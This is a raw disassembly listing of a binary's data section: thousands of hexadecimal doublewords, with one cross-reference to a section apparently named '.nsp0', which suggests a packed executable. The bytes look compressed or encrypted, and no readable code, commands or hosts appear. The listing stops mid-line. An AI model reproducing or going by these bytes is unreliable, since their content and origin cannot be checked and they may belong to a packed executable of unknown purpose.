99A5F7C8h dd 5C5BF5F0h, 0DD7E8102h, 8444B89Ah, 0B9B90FADh, 8F371F59h dd 7DA9047h, 0F646BAE5h, 978C1E55h, 0DE35ABC4h, 8C14CC31h dd 4C5AA10Ah, 3ED3A5EEh, 22702613h, 0C235B4Ah, 68CCBFC6h dd 5D0C0098h, 0EEAA8F0Ah, 48713B61h, 5B25CACDh, 0F596D325h dd 59DB0759h, 652B6D0Eh, 0AF471590h, 8C59B952h, 9B713160h dd 0E2EB7C4Dh, 0E5ADC3Eh, 4F1EBD8Eh, 0DAF781E7h, 7F285E8Fh dd 9B2F65ACh, 0A7FA35F3h, 814643FBh, 0D76A8998h, 37DC8FF5h dd 52912910h, 460366AFh, 32814539h, 0BE1BB188h, 0E7FE3388h dd 0BF0138Ah, 828B6113h, 0D2666h, 70C9D790h, 7DEEC890h dd 0DEBBAACFh, 74DE8A96h, 589C973Eh, 0DFAB42C2h, 332B7BB0h dd 0E484946Ah, 66A8598Eh, 4BE690DDh, 1015DF07h, 0C4801DEh dd 7FD5E786h, 30C5C4DBh, 56C32D88h, 0C0E04C0h, 0CE23B78Ah dd 96AEA3F1h, 9F5BEF74h, 625A9C9Fh, 8733BEC3h, 0C85F7B5Ah dd 58B3DE41h, 23A7B45Eh, 192AF6DCh, 0C185C4E9h, 5C1FCBFAh dd 0ECBF497Bh, 5BEB2D48h, 7347DC64h, 0E23BED4Ah, 0A8A11AF2h dd 9210E93Eh, 90CB05Eh, 94F907Dh, 737C67ACh, 0C63732E4h dd 513EBC88h, 0B0B355DCh, 76B1643Ah, 3FD1E23Ah, 4B3CD57Fh dd 0AD476B9Ch, 26565917h, 919B8B24h, 0CD511F27h, 0A9F64B49h dd 41A36A81h, 41766669h, 0BEEB6122h, 2293D831h, 0A8E9D2B3h dd 0E0A8089h, 0F4F4AD85h, 0AA80075h, 947D91F5h, 17CB4536h dd 0F84C2F0Bh, 87D9061Bh, 0C84DC5BFh, 984C8806h, 0AED5F774h dd 0AF8CA423h, 97E6E9CCh, 38AB7B82h, 0CA32970Ah, 7C7A5C77h dd 0D4CA0C1Bh, 325C1A14h, 2422FE51h, 0BF8D98D7h, 0D923D92Dh dd 4AE57631h, 0FC0EF4F3h, 0E16814FAh, 0B05D97D3h, 0A4476983h dd 3A8584B1h, 5328B736h, 0B5DF2248h, 5BA647F6h, 1EB1F554h dd 0F8BBF6E3h, 1AD4D00Fh, 1E1F9378h, 0CB616117h, 0BA804496h dd 57467689h, 715558C6h, 4E5BC815h, 0E1BE0E22h, 64C0931h dd 4364CF4Ch, 0D483683h, 0CEE7D5B8h, 0F3479AE3h, 10DEA476h dd 7FBA832Dh, 0DF09A547h, 118FF05Ah, 0C4604726h, 371AE549h dd 7C7D87D6h, 1638F5DAh, 4C3E1A31h, 0F9FDF2D6h, 492DC326h dd 0B07F646Fh, 3C0B7B93h, 5D06A9C0h, 50E5351Fh, 584C0E3Ch dd 0CFCF85B0h, 0CCB90D48h, 36DFB1DCh, 0DED3962Eh, 0BB5AECDAh dd 0A3ADE81Fh, 0ED32E743h, 3B085522h, 58018D5Eh, 11371773h dd 0AB59BFD4h, 2E50BDF5h, 0AEF6346Ah, 0D7657A24h, 4E0BA5F4h dd 9C76397Bh, 8CC6B107h, 0E088E872h, 59701679h, 4BFFDB2Bh dd 4A2960B7h, 2DF461D7h, 4B5182FEh, 0E937BE4Ah, 39A95B1Dh dd 0E3DDEEAAh, 1904ABF3h, 5CF3587Fh, 0B07B4D14h, 0D5C287FDh dd 0E55DF328h, 415B9C72h, 59FBCDAAh, 0E36586D8h, 750CC374h dd 1CE2A17Dh, 83CC51E1h, 71055F30h, 0D3C8DE06h, 44B79945h dd 442890B9h, 0F6DF3AB2h, 3365F363h, 5DC2720Eh, 59586613h dd 0A7759266h, 132189BDh, 5FFA31B5h, 82511ABCh, 192AF0B7h dd 4A1E4EE0h, 885D2DEh, 0B3181F42h, 2623DE4Bh, 3BFDEF1Fh dd 1D4ECB61h, 69C85A1h, 0E9157375h, 441ED08Ah, 5D87085Dh dd 56E22897h, 0B37F6852h, 8D840B31h, 137139CBh, 0B628689Ah dd 2D654CF6h, 3CCA0E87h, 0C82FCB35h, 0F908893Ah, 243E6893h dd 0AF2FEB83h, 7A14BA4Dh, 0CB5E318Fh, 893F19E8h, 0D15AC38Fh dd 2EC8D61Eh, 67DF4DB6h, 0E77BAA98h, 0B7954379h, 741E8AC4h dd 871982DCh, 6E29FD09h, 0F2085F00h, 0B4E720A4h, 0AC56430Fh dd 0D3E32521h, 0F9D8EB3Fh, 0C211BADBh, 69D454FBh, 2C1FA776h dd 921791E7h, 4956056h, 8929217h, 0E0D365D5h, 32F7066Fh dd 8BC01E6Bh, 9714FDF0h, 0DE89D9A5h, 0D1CB3B75h, 0E035AF16h dd 0D6EE4073h, 3FEA93BCh, 0F335A5E4h, 0BF9DE4A0h, 3DFC615Eh dd 30697AB2h, 69B736DDh, 9EC237C4h, 0BE87ACBAh, 19F0B203h dd 103C02FFh, 0F4702D85h, 1A8B361Eh, 39691117h, 75068922h dd 0B3A94C49h, 0C9510321h, 0C7FED614h, 0EF666023h, 52438DE1h dd 2A74ED30h, 1A6632FAh, 0C76A8067h, 98CCEF77h, 6CC96126h dd 0C685205Eh, 0A4301F8Eh, 0C593EB98h, 8CC0BEEBh, 54BF66A5h dd 0B6B3D545h, 0DD41EBCBh, 7606F416h, 3DDF4613h, 0D21101C6h dd 0F2EB4FF1h, 0CCFC4DA1h, 0BF877C58h, 0AC370B3Fh, 0B52D85FCh dd 0F3A2E421h, 4671B082h, 1093FF00h, 56EB3B89h, 1E1BDBF5h dd 598B74F9h, 4E3CDF54h, 71410F0h, 6A335592h, 0E10D94CCh dd 290A37DDh, 0FF5C5313h, 0D42C3DE9h, 0C42B17EFh, 4FD4F634h dd 5934ED8Fh, 8D5C746Bh, 2C55AFC2h, 6718A025h, 59FB4D27h dd 277CB1FCh, 0FF28BD3Ah, 0A4707476h, 8D989D1h, 995779D0h dd 49B82AB8h, 86C1A0C9h, 0A92C5208h, 18B128F1h, 3C1618EEh dd 0AABF2575h, 5727EE17h, 0EC4F6Ah, 6C66F0C6h, 0CB99F0ABh dd 15CA77C6h, 67F96001h, 0BB4CDCA1h, 0DA0DC109h, 4BD5E1E5h dd 0F798A702h, 0BC3A2B1Ah, 2FD07D79h, 0ABB4806Ch, 0FDB6950h dd 974AE8CAh, 7AEC0F44h, 0B5ACFF0Ah, 0A1D5E87Eh, 0A0FB6040h dd 0D75ABFDDh, 5FF7E5FCh, 81BFDC66h, 8B9F1B5Fh, 0C9B11083h dd 59524428h, 1B4CE55Eh, 1D1589A1h, 0FD2960E6h, 992E47F2h dd 77532247h, 9BCE092Eh, 1DA49D8h, 3AC0472Dh, 7054E6B7h dd 458D18E5h, 45A43BC5h, 567F3B02h, 0F5545834h, 0A41BBA6Eh dd 187A379Dh, 0D88AD101h, 173B15A3h, 0FB582BBCh, 0DF9D9228h dd 3BD59748h, 0C4DA16F5h, 0B2A58282h, 5390A2D8h, 0D66C9284h dd 0D3591DE2h, 0C543C867h, 0C38B857h, 0ECFB6177h, 9F47C52h dd 78E1F1CCh, 0A29F2E2Eh, 52D960BCh, 0E8A2F06Ah, 0B0FC5711h dd 0CBCB6913h, 0EFC7634Fh, 0C9BBB7B3h, 8EFF93C7h, 10F1E7C1h dd 3802655Ah, 0E52CC823h, 24D05D98h, 0A0FAB90h, 35D0EE57h dd 7D9825C0h, 737F7867h, 622F5A76h, 15BED53Eh, 58502BB3h dd 0EDC377BAh, 0B6442ACAh, 62ABC6A1h, 0F55BEE46h, 585B9BD5h dd 49057D2Fh, 6A2CAA12h, 0C938A960h, 0D2098A4h, 71AB8642h dd 395D7427h, 0EC807281h, 0B3DA0C9Eh, 1A3D15CCh, 9BB5CE97h dd 806A04CAh, 0DCF86985h, 261D0ACDh, 5E85EB10h, 3B8A5924h dd 657D8C5Fh, 0D6058879h, 0DD28192Eh, 0D9D45595h, 2956DFCAh dd 9E84C3A7h, 338801F7h, 0A5A99B0h, 0C350C06h, 447D2FB1h dd 34D5E44h, 0A00AD506h, 0A171B4EEh, 559D4CD2h, 0CF176530h dd 5ABB0FEh, 97D1352Dh, 9CCC083Fh, 5A116399h, 0DFB51BE5h dd 0A366EB94h, 0BA8F59DFh, 107F17B0h, 0B4732970h, 3E957B0h dd 45080CC0h, 9BB25CB8h, 7898BA23h, 8AE97672h, 0FBB56E4Ch dd 0BDAE6806h, 4EA47D38h, 1489ED5Fh, 0F8B23066h, 0FE7A1AEAh dd 0C8B00425h, 377550DDh, 0EB11C0B1h, 0C707597Ch, 0ACC45DB1h dd 0CF4CE4B6h, 6DEBCDE4h, 7E68D507h, 0BC2CEE71h, 25052DABh dd 3E4A559Bh, 29914A63h, 0FF9A9FF5h, 4673804Fh, 5D44949h dd 0AE421C33h, 3BEC3F3Fh, 879B89F7h, 30B40224h, 3AF90935h dd 0CAC5D13Dh, 9757D6Ah, 38477B50h, 0B6718571h, 5DA22742h dd 131B421Eh, 3A843B2Ch, 0E21006EDh, 47DB6AA2h, 5B04CF9Ah dd 0D9F132CBh, 0D1D951AEh, 0AD5634BEh, 472368C3h, 2188DFC8h dd 0D1383C24h, 0C3B409E8h, 1F879737h, 2F14C1A6h, 752F3361h dd 0E3D84C1h, 80CB3BCBh, 0C0FA4CA8h, 0C17700E5h, 609546C2h dd 87015B86h, 603BA0E3h, 98CCC74Bh, 3094CAE9h, 9647B347h dd 0D09EACE2h, 1ECEC926h, 7821936Ah, 0DAADAD31h, 0A6CA381Ah dd 7BC4C412h, 903D38FAh dd 0C0C7CC87h, 0B39F754Dh, 0DA1D0CD1h, 0CAD0CAAAh, 34AA7423h dd 0A0D70D2Ah, 3A473CEh, 6D626DAAh, 0AC576BE8h, 7C77C7D9h dd 63BCE0A0h, 0E0B0BADCh, 2606D040h, 82BB225Bh, 0D46F48C4h dd 870890ECh, 0E3D268Eh, 0A5441DCBh, 0DCE453EEh, 0CC361E87h dd 8B772BF3h, 97213831h, 40B7A791h, 0CE401C9h, 622E780Dh dd 0E5A8A75Ch, 103699ACh, 11DA82AEh, 3582322Ch, 0B71B6B64h dd 0B57A6558h, 52015BF1h, 0D4E81EFDh, 8D31FE38h, 34BD0B90h dd 22FD2451h, 0C1241BE4h, 0DB849E3Ch, 0FAFDFAAEh, 4F89A739h dd 0AF78971Dh, 2CFA8286h, 0B17123D3h, 7D1DC32Ah, 641F90B2h dd 676EB704h, 8017ED96h, 2D069230h, 0EB48B634h, 7D28CE11h dd 22F72B06h, 0D1586E84h, 0D1264DBBh, 1EC11795h, 0B36C3171h dd 4AC4794Fh, 924CA19Ah, 0A0FC5552h, 0FAFB6459h, 0DF52D8CAh dd 0B3AF2447h, 0A85892C4h, 53A74D80h, 0E86B258Fh, 8D08DC59h dd 0DC8F7826h, 7BBDD4C1h, 9854D254h, 4DFF7B54h, 65D1511Ah dd 9C45096Fh, 43771F9Eh, 1947B1A1h, 0F5A9195Dh, 7938BFBCh dd 0CA89DE07h, 77DD3EBh, 1D2C100Bh, 0E59E243Dh, 0D2F6F558h dd 71976C6Ah, 4D6A77Ah, 0C9D2B866h, 0EEBA339h, 8FD06311h dd 44CD5AC0h, 2084A758h, 503ECD07h, 670C4F53h, 0DA9229DFh dd 0B3B018B2h, 0F6CC2BC3h, 920F9727h, 53FFD395h, 8F882C70h dd 62EBE9E4h, 16F3341h, 38067513h, 8C6165A0h, 6AF977C8h dd 0AD2C383Dh, 0D882BA5Eh, 62C9BBC7h, 57868BEFh, 161768D1h dd 0C16C9569h, 57A7F29Fh, 1BEDA742h, 0B9198F09h, 0E8ECF92Dh dd 1BBC905Ah, 1B25B2Eh, 2EB52F00h, 0AF6C5DF0h, 30432760h dd 6F3F848h, 6609226Ah, 0AE520F26h, 5B10FA81h, 15FFF032h dd 0A572695h, 0C39A977Bh, 0EC741000h, 831DBA23h, 0C25CFAC6h dd 3781DA66h, 5BDC48CAh, 595AFFC5h, 0ADF54FFDh, 38328602h dd 2E0A9386h, 0E528A3F3h, 3CFA4C05h, 9C015F6Ah, 385B0A57h dd 4803FCB4h, 63D2D3EFh, 29C0EA09h, 0FA2AB7Fh, 602602D4h dd 0BECA5AD6h, 702E20A4h, 5C11D823h, 0A108C268h, 62FE26F2h dd 0C0DD9E1Eh, 0EB508DBAh, 0B23D396h, 72F74FBBh, 1190729Ah dd 96915E6Dh, 0FC510EE1h, 0B5C6489Eh, 0BA65CF41h, 0B7C2A6CBh dd 506E690Eh, 55B1D9FFh, 1116C498h, 41A4B16Ch, 0EA41A3B5h dd 38603C0Eh, 0F168724Ch, 31B9030h, 8BECAE3Eh, 17E02357h dd 0D4BC198Dh, 0F68932AFh, 77B724D2h, 30239144h, 0B5603ADEh dd 0DAE3D656h, 5D3ABE9Bh, 12EF4757h, 99C0EA4Dh, 0EE5B5E3h dd 0FBA6BE65h, 0CE68A217h, 0F0508A1Ah, 0CC22ED03h, 0E028ECF5h dd 0CAAF23FDh, 0E7FD8181h, 2721C165h, 0E972DA50h, 9349A211h dd 0C4DA2EF5h, 0A82C72BDh, 5C2EA9B9h, 0AE50DDF2h, 0BDB9A7BEh dd 0BBF86370h, 67BD2535h, 8454D495h, 0E7657EBCh, 0AA108D84h dd 7120E42Bh, 0FEAFB7A0h, 0EF5E355h, 8351B097h, 6A4D09AFh dd 3AFD82EFh, 56038E68h, 93C40A6Dh, 596B41DAh, 396742Eh dd 0AD5D069Dh, 0B552C4E7h, 0D15C23ADh, 54520D3Bh, 68B8A4BAh dd 1DC3ABD2h, 0C76BCA87h, 0E00FB11Ah, 1C909A5h, 800AFED1h dd 5CCC2F6Ah, 69991C4h, 3559130Fh, 0DB38B08h, 2D54EA15h dd 61D28329h, 642FB8FFh, 0B1305785h, 0FA3CC7A0h, 0F507DFA8h dd 840C6DEEh, 99B69BA1h, 45A81E04h, 8D56EF4h, 0F7DCE09Bh dd 270F4070h, 89AFE680h, 0AA628F87h, 8F34D780h, 0BDEFE064h dd 42733F9Eh, 92022C57h, 46E965A5h, 2068AE65h, 0B2E0F7D5h dd 9D556CD2h, 78ED92F2h, 6B0FA6A9h, 0D192C383h, 40145ABBh dd 68B36823h, 254C5CC6h, 0A6C6621h, 11CD8FD6h, 16EB95A3h dd 63607874h, 81DD1028h, 0F9594CD8h, 0EA03F98Dh, 2EEF1427h dd 0BFAF5F8Eh, 0DB71F7DBh, 85F21C7Bh, 1B5ADF78h, 1D790AFBh dd 0CF5D5ECCh, 16E1D12Bh, 7BC04D34h, 19AB8EDCh, 30259DC0h dd 624334B5h, 0D1E92B5Eh, 5908CDD0h, 0A1F1FFFAh, 0DA496699h dd 0D2B930BDh, 0F5994F3Ch, 6BFEE285h, 2AFF9461h, 780DCB3Fh dd 49017497h, 21BFDE9h, 0A2E7C9AAh, 138FAFD6h, 0FD4F5E6Bh dd 0AE46D614h, 0BF5EEBBFh, 7E511419h, 565CE25Ch, 17974220h dd 27ADDCFAh, 8E273757h, 137F1E50h, 0C3938414h, 0DC60D075h dd 2D62B303h, 22E08587h, 78CE7FC7h, 7F8D3D48h, 0EC97D5FBh dd 239B5CB8h, 804CB253h, 354E85BAh, 1424B286h, 0BD839D78h dd 0B3322836h, 0FF522D5Ah, 825461F8h, 912D11C8h, 8AEF1D54h dd 30B1729h, 70A78C77h, 1106CDEAh, 0EA472525h, 0F73A74h dd 997128FDh, 0ACDD6A01h, 0CDF87938h, 9CB359D4h, 0A3495ECBh dd 5F41CC40h, 0D4AC56FAh, 7C6D3BC5h, 2C691377h, 99C43C39h dd 0AB1B96CBh, 7C183589h, 52418918h, 6FC5766Ch, 3FD46DF8h dd 9E35784Eh, 86396461h, 32941EEh, 0E04A83E3h, 0BF31DF62h dd 4CA3FCEDh, 2183FA60h, 95A1004Bh, 0CCE7B57Fh, 71FD68DCh dd 43CCA5BCh, 32C61C49h, 3CD750A4h, 52BD0F7Fh, 0C86301ABh dd 0A8B00748h, 0F5BD9F4Eh, 0AF0EA005h, 0DB291BA1h, 5689AE1Ch dd 0D78E493Ah, 33BF4923h, 67A3697Ch, 76EF5635h, 810C11A3h dd 3F7FE70Bh, 0F41237D8h, 3BBEA94Ah, 0A9A06268h, 28C9E0F4h dd 0B97F8E59h, 90938A4Bh, 6EC1A721h, 7C29D59Bh, 0FD0C2484h dd 0E363606Dh, 34E72527h, 6136053Eh, 6AAC53F2h, 0E7E5E650h dd 0B20F12DDh, 0C05D0F33h, 0C9768167h, 519589F4h, 0B881D0EFh dd 0BAC3CC29h, 85803D3Bh, 8ACC9598h, 7CBF0F02h, 65BE0E4h dd 5A8F90DAh, 4D2939C0h, 0AD16FD58h, 28A5F7C9h, 37924D70h dd 73C3D096h, 0B4E9330Eh, 0ABE6F194h, 0D1C2BA29h, 4D668E77h db 33h, 0B7h word_505446 dw 5A1Ch ; DATA XREF: .nsp0:off_43D9D0o dd 23E0D2EEh, 8478A944h, 8B9FCD3Ah, 575A48DFh, 73A1F927h dd 2DD54823h, 0C179594Bh, 0DF4D9CE9h, 138CA1D6h, 5E1D1403h dd 0AC9ACB52h, 0D5B0D2AEh, 4CB5119Dh, 64A6E9DDh, 487FB899h dd 0CE64AF3h, 6D4B3E4Fh, 8C7198CCh, 2579FEDFh, 0F71C2D57h dd 6A6C7C1Eh, 4CE05214h, 9CC22D07h, 0D0D68C72h, 0FF16B62Eh dd 397DF8DAh, 8D72347Dh, 4FA99D21h, 5D880C92h, 0CA34089Ah dd 0F39EFE32h, 0BC5BC01Eh, 7BD1B848h, 375C17FDh, 0B1F08CFh dd 3EF22CDCh, 0FA3A0ADFh, 64C1022Dh, 5D968A04h, 66DC4403h dd 0B05DE016h, 18302F15h, 2C55CD1Fh, 9B77F924h, 39FBFF8Ah dd 0C1A681F7h, 0EBC00A53h, 16397EC6h, 710B4D1Fh, 0F4397576h dd 9BA15EB6h, 3A80544Eh, 561D664Ch, 142FA49Dh, 0B21885E8h dd 904C4835h, 3F2C9E59h, 0C16EF8B6h, 0BFEEF638h, 0FC101781h dd 4FCA7646h, 9801AAACh, 5729428Bh, 68F4065h, 50975430h dd 0E4AECDACh, 710A7062h, 0BD888C28h, 4C9A6E49h, 597DF4A3h dd 0C2FF7B6Dh, 85252EE5h, 2AF3BC86h, 0E6DCDF33h, 73577FB9h dd 0D05DDE9Dh, 530E1CCBh, 1F2D9BBCh, 0B9A1626Dh, 152D7D8Fh dd 0B195252Fh, 71157D90h, 478524C2h, 0B83B71B5h, 42C6CF21h dd 0CA856C4Bh, 0C46D7D57h, 5BDB9892h, 0EB78140Dh, 0B47F05DEh dd 14F04EE8h, 78634E6h, 4EBDAE59h, 0C4428C8Ah, 2A5C76Bh dd 0D140FB62h, 0E0D8AF8Eh, 0B626FF1Ch, 88E83362h, 0C768D6EAh dd 9CFA8075h, 0D361A39Bh, 0A3F19299h, 0E69ECAFAh, 1CD93A0Dh dd 6CABE714h, 0BD8559D1h, 0B4D80987h, 5C87FA42h, 55850ADFh dd 0CA99C2DCh, 77D9F535h, 0E1C74F60h, 10637D8Fh, 8389DE0h dd 23705881h, 881D2B8Dh, 31B8F354h, 2840070Bh, 31E9C9D4h dd 0ED083B00h, 0F2620C5Bh, 0E728E7F4h, 264E90A7h, 5986B705h dd 11DA1A70h, 7AFCD3D7h, 68C69E89h, 6ABA9FE2h, 1ADC76F1h dd 0FA43A9FEh, 0E8424C68h, 8669426Dh, 2FF7AF71h, 6E227E50h dd 85AEB176h, 84629627h, 75C3BC43h, 94B8B15Fh, 70374825h dd 0A6CED7A0h, 8335C43Dh, 0D31EA395h, 0ACF1DE3Fh, 0EB8208A8h dd 0C240B4EBh, 0D5C635F7h, 493DFB09h, 75F37CBAh, 4968410Ah dd 0B5C81C17h, 5FCA5A0Eh, 3433CFE9h, 23CDC5BCh, 11D6DE97h dd 0AC3AE631h, 9A3FE6C6h, 99AD68A5h, 0C416D208h, 0BF13BD7h dd 762A897Fh, 3AEF7177h, 0AA3FBBD0h, 0FF27F9E7h, 40E4388Dh dd 8EDE4CA3h, 9598DB8Eh, 9A09419Ah, 0C60C1AFDh, 0F663BD3h dd 39C3E9F9h, 9BDC9EB0h, 7BDBFC02h, 0BD76CFB2h, 6F3E344Dh dd 711DD8CCh, 200BAC7Eh, 0B687B8D7h, 9D992265h, 372E2574h dd 229BEDCh, 0EB3BF741h, 0B7AD9DB0h, 0B94AC6F4h, 4ADA5812h dd 37DC56C1h, 0F029E556h, 4D3B91B7h, 24B4FB1Ch, 0DB279A45h dd 0F0D43F94h, 9F766DC6h, 5BB01624h, 3EE8A8CAh, 19D27C47h dd 203498DCh, 72B701A9h, 0EC5EB0A8h, 1F1C00A3h, 0A7B8CF97h dd 12117D3Eh, 59A0FF4Eh, 0D1D10252h, 649987E3h, 0AB9FAE0Ch dd 0C4A4F063h, 13275A38h, 3CC87519h, 9363136Fh, 59D1CEB2h dd 33CC39DBh, 57ED1ABFh, 97F92FF2h, 11267F79h, 0C3B8E5CEh dd 0C45077F1h, 0C201291Bh, 2A2491CAh, 403A6401h, 898C281Ch dd 23F4EFC4h, 0D1088DC9h, 1D1E9B96h, 75F9E6B6h, 0D8A0F302h dd 0FAD6368Fh, 316CAF18h, 0E829DD66h, 3B88F26Eh, 0F68C2312h dd 31E09551h, 73628C01h, 0F5826014h, 0D8D5FC1h, 0DCFF23AFh dd 151D3E6Ah, 0D6AA999Fh, 8A464549h, 0EEB4D2BDh, 7E168CC5h dd 6448D556h, 67F2F702h, 477E74FDh, 46C80F88h, 635A0653h dd 0D628DE45h, 6A3B7E17h, 70D55010h, 0BEEE1B74h, 9EAD3B88h dd 0D3CE16B7h, 0B4378C59h, 29950EB4h, 674C1FFDh, 0F5F61D9Bh dd 632EC1C9h, 0A40552Eh, 0C99AEDA7h, 95FE24A3h, 0CE865B35h dd 578BC979h, 0B60D1C25h, 3C028FEh, 7036FA7h, 14C8ECCDh dd 0DB178E67h, 2894393Bh, 0CC3AC951h, 9A4D03E2h, 6EDF8941h dd 185D8F12h, 483A41DDh, 6314A2A3h, 338163E0h, 0ABB06BFEh dd 6B698A1Ch, 63AFEF1Eh, 0F2C4F283h, 0FE7D21BAh, 11272C6Bh dd 38BF2371h, 70F7E7A3h, 9DFA152Ch, 57D25Dh, 958BC766h dd 0C859EDDBh, 25C257E9h, 9C5D457Fh, 0ED944913h, 0CEDBD80Eh dd 0D33038C9h, 0AFB954BFh, 181845E4h, 0AA6A8669h, 0DA2B552Bh dd 0B8F3B682h, 0AFAD2BE4h, 0C45655E8h, 0F74737Ah, 718A3AA6h dd 8BB33E73h, 1C54FCC5h, 0BDA31C06h, 0A9764D65h, 963DCF77h dd 0A12FE4D0h, 0ED14C3EBh, 90CFB35Ch, 6BFC52F0h, 0FAA7E8B0h dd 0A155047Eh, 0ABC1F49Ah, 77666840h, 0F9F4111Dh, 46CDDBE8h dd 0F191FDCAh, 0B3C691A4h, 0F0C40986h, 9A986828h, 0B5264ED2h dd 0A2728412h, 46767332h, 362EBAD7h, 0F5C43BFEh, 42A19D8Dh dd 8B0ED10Eh, 0AE29AB11h, 0B083251Bh, 0BBB21AF5h, 3B622A62h dd 2ACFBF5Bh, 0F37F5EABh, 6D1F9BFh, 76F0BAD9h, 0EACC6DBDh dd 0E28D9E4Bh, 9B77B445h, 96C7B1F3h, 0B582F992h, 0E9FF75F9h dd 334460C3h, 0EBFFC360h, 43D08771h, 80D7F542h, 65A13919h dd 0F0BBFE80h, 6332C1A1h, 0DFE178FBh, 70C89532h, 9AAE4945h dd 41778358h, 921101F5h, 0EE346947h, 52E04EA5h, 1EF8E457h dd 66C8733Ch, 0CABFA5FBh, 84A75Dh, 0B28CEEA3h, 8D7CDE55h dd 50B52E66h, 0A5D0D958h, 0EC2D3A2h, 0C50BDF25h, 7F76973Dh dd 5352DE2Dh, 0BB09CE5Ah, 38FA8B44h, 0C2BE1BE9h, 37E2D4BDh dd 62FB1488h, 0F7B9435Bh, 0F6318466h, 2B889579h, 6F476A81h dd 99CECCE6h, 0A02E9C27h, 72441F60h, 0B03A97E7h, 0B7208344h dd 0DBA9275Ch, 5359BB8h, 0CE542D18h, 0B593B74Ch, 972C82D5h dd 0DEABBD57h, 0DC53764h, 1EBAAC35h, 1E425930h, 0C54302C3h dd 0E44C1FC1h, 797034Ch, 68BF8609h, 0FC1149AAh, 0CDFF45A4h dd 0FDCD8B8Ah, 7DC39DC6h, 0EF6135D4h, 2D65CF06h, 70D10F3Bh dd 0ED73344Bh, 0A3B35C33h, 9D688CD9h, 1BF72E57h, 0C9D8C6Ah dd 38A130DBh, 1D30018Ah, 0C25B3C24h, 16459CDDh, 916DA073h dd 0D125B974h, 971E4392h, 8A5FC799h, 45A36420h, 386E53F9h dd 0DC199662h, 7E17252Ah, 4BFBACF4h, 0A7FDA078h, 3B6E76A1h dd 30F3AEB5h, 38E73DCDh, 0FE5D4BEBh, 421FFD8Eh, 59E181C8h dd 0A54AB6BDh, 4E313CBBh, 106BA79Bh, 14D2988Dh, 5A8664A9h dd 92498384h, 0FB989813h, 3B7B67CFh, 0D92486E3h, 39954F96h dd 4EBC5551h, 85D63185h, 0ADEABC0Dh, 6B1EB11Eh, 0C21DB205h dd 33C71509h, 0FF223827h, 0FC75D1EBh, 184A3D94h, 477A0809h dd 2FFE4649h, 0B6A508DEh, 66692B2Fh, 0A82D49DDh, 0C08B0FE2h dd 55D6F5F6h, 0F60B23B9h, 0F686A1C2h, 5D5E4A90h, 0DD61D5CAh dd 1D3E1169h, 0EDF7AE2Bh, 0D14D401h, 4C41FE47h, 2E063FB2h dd 6B0446F1h, 6796B26Dh, 0C6D119FDh, 2E9E146Dh, 6E6ABB7Fh dd 0E9CC6AB6h, 9FA14C01h, 0DFA00636h, 409E8D4h, 97432DF2h dd 0C27740E6h, 416EBE91h, 5B1A06C4h, 66FF7D75h, 0A978D32Ah dd 54983D05h, 0B8A1875Bh, 5516BB11h, 7E43095Fh, 222F5E80h dd 0C7376EA9h, 597DA40Dh, 6A2F40BFh, 70D0D4D8h, 0DF48C8EDh dd 0BBC223ECh, 16FACC4Dh, 0EE8A3634h, 3A5FE590h, 6F57B197h dd 0F3BF6C5Ah, 0B0FEEB25h, 0FC4D431Bh, 0A4CFB8F5h, 0B4C68BEEh dd 7719214Bh, 0FB607C57h, 0AE83E764h, 41C64ECBh, 7BA7B09Fh dd 0BBAF0E56h, 0B33D25D4h, 61FA4B9Fh, 0EE378C1Dh, 58110DF4h dd 96529621h, 9A96F6C5h, 8D269263h, 0EC07673h, 0E5D84B26h dd 23B14A27h, 7CEEFCDFh dd 0DA1F0A6Dh, 112BD19Eh, 0B17D3539h, 933B93C9h, 0F0A11365h dd 0C0CB1F62h, 1193725Eh, 0FF48F13Fh, 0C843D07Ah, 0A3BEBFEh dd 32488BFFh, 22F9B22Eh, 6C352A1Bh, 3348631Ch, 0DABB4133h dd 73803546h, 0FB03A538h, 7D07C83Fh, 408C304Fh, 72CB4DF9h dd 25B8E127h, 0E0D4EEB8h, 6D6F6703h, 5E395D88h, 7A86CF6Eh dd 50DE953Bh, 110E47F6h, 8F0AEA84h, 5263B35h, 0CE7B1764h dd 0FFCEF3CDh, 0E84ECC0Ch, 7859F940h, 0BA3CAD0Ah, 0C6533D09h dd 29BA653Eh, 6BD2EEBBh, 0E6FFE588h, 0C29C90F2h, 2D5873C9h dd 6A22B1C3h, 63D8B2ADh, 91DF57E6h, 39A9A74h, 9AF8C8EFh dd 54AA9A55h, 0B8579A25h, 72B3FD40h, 936D41D7h, 4E0BDCB6h dd 0DA4BD4B6h, 976267BFh, 20CEF492h, 0D7E15691h, 0A6AA853Ch dd 19602AAh, 76F14203h, 72DE83Ch, 0B4E5970h, 0FE3AD726h dd 65705BF4h, 26A41F12h, 0C5767F16h, 5407E957h, 0E63B0DE6h dd 0EA2A200Fh, 512843E5h, 0CBC8D829h, 3F75FE89h, 56A8FBC0h dd 22288D2Dh, 9A79523Dh, 80E75BDDh, 0E02D75ACh, 4041DB06h dd 21C97EC3h, 109D0CC1h, 312CCBE2h, 4193C903h, 0B8074DA3h dd 0B848B692h, 96955D2Ch, 39601637h, 0DD4659A7h, 56798EB1h dd 953B9D01h, 9DD7322Ah, 0F56EEBEAh, 7FC41974h, 0FF91A78Dh dd 19CF8F98h, 21844FBFh, 0DFFE32Dh, 7DD3A4F9h, 0B484F075h dd 0E1CC8E9Eh, 67CD3F17h, 0FEE44AD6h, 294F523Eh, 94E05522h dd 0DED4CB22h, 0A942B0B6h, 9C64109Eh, 0DF65AB30h, 0AE7EE1DBh dd 27E9E396h, 52F9D12Eh, 7EE88C26h, 400D0014h, 0E6680138h dd 0CFC0858Eh, 720D0F6Bh, 6334D49Dh, 1092984Dh, 61B1B322h dd 0F2119BF4h, 5B05CA4Fh, 5CE4B5CAh, 0F9F822D1h, 0CC477AF4h dd 0B3DB7585h, 6684A92Ch, 3B31D2E8h, 972AB5E8h, 9ABD9EC0h dd 6F43B4BAh, 129D9EAEh, 187F0B37h, 0A93E2342h, 4D4B4502h dd 0CE413193h, 4EA7DE0Eh, 0CF21E08Ch, 834213DFh, 8B99C31Ch dd 1C4C4FF1h, 0C6C6D344h, 0FB71022Ah, 7ACB9019h, 0AB341F4Fh dd 51ED012Fh, 53F044B3h, 2AF2A015h, 0EA90845Ch, 0F9F00253h dd 41763553h, 185DC9C5h, 6083E04Ch, 0D85F4615h, 732868Dh dd 0F2FB09A3h, 932BD83Bh, 75A27B73h, 0E8F1E43h, 270FDF1h dd 43BDBD5Fh, 0C0B1CA6Fh, 5DB0492Dh, 8B1B5763h, 1A55A6E4h dd 0F21CBA5h, 0A75D9514h, 0D7B61A01h, 0E5E97049h, 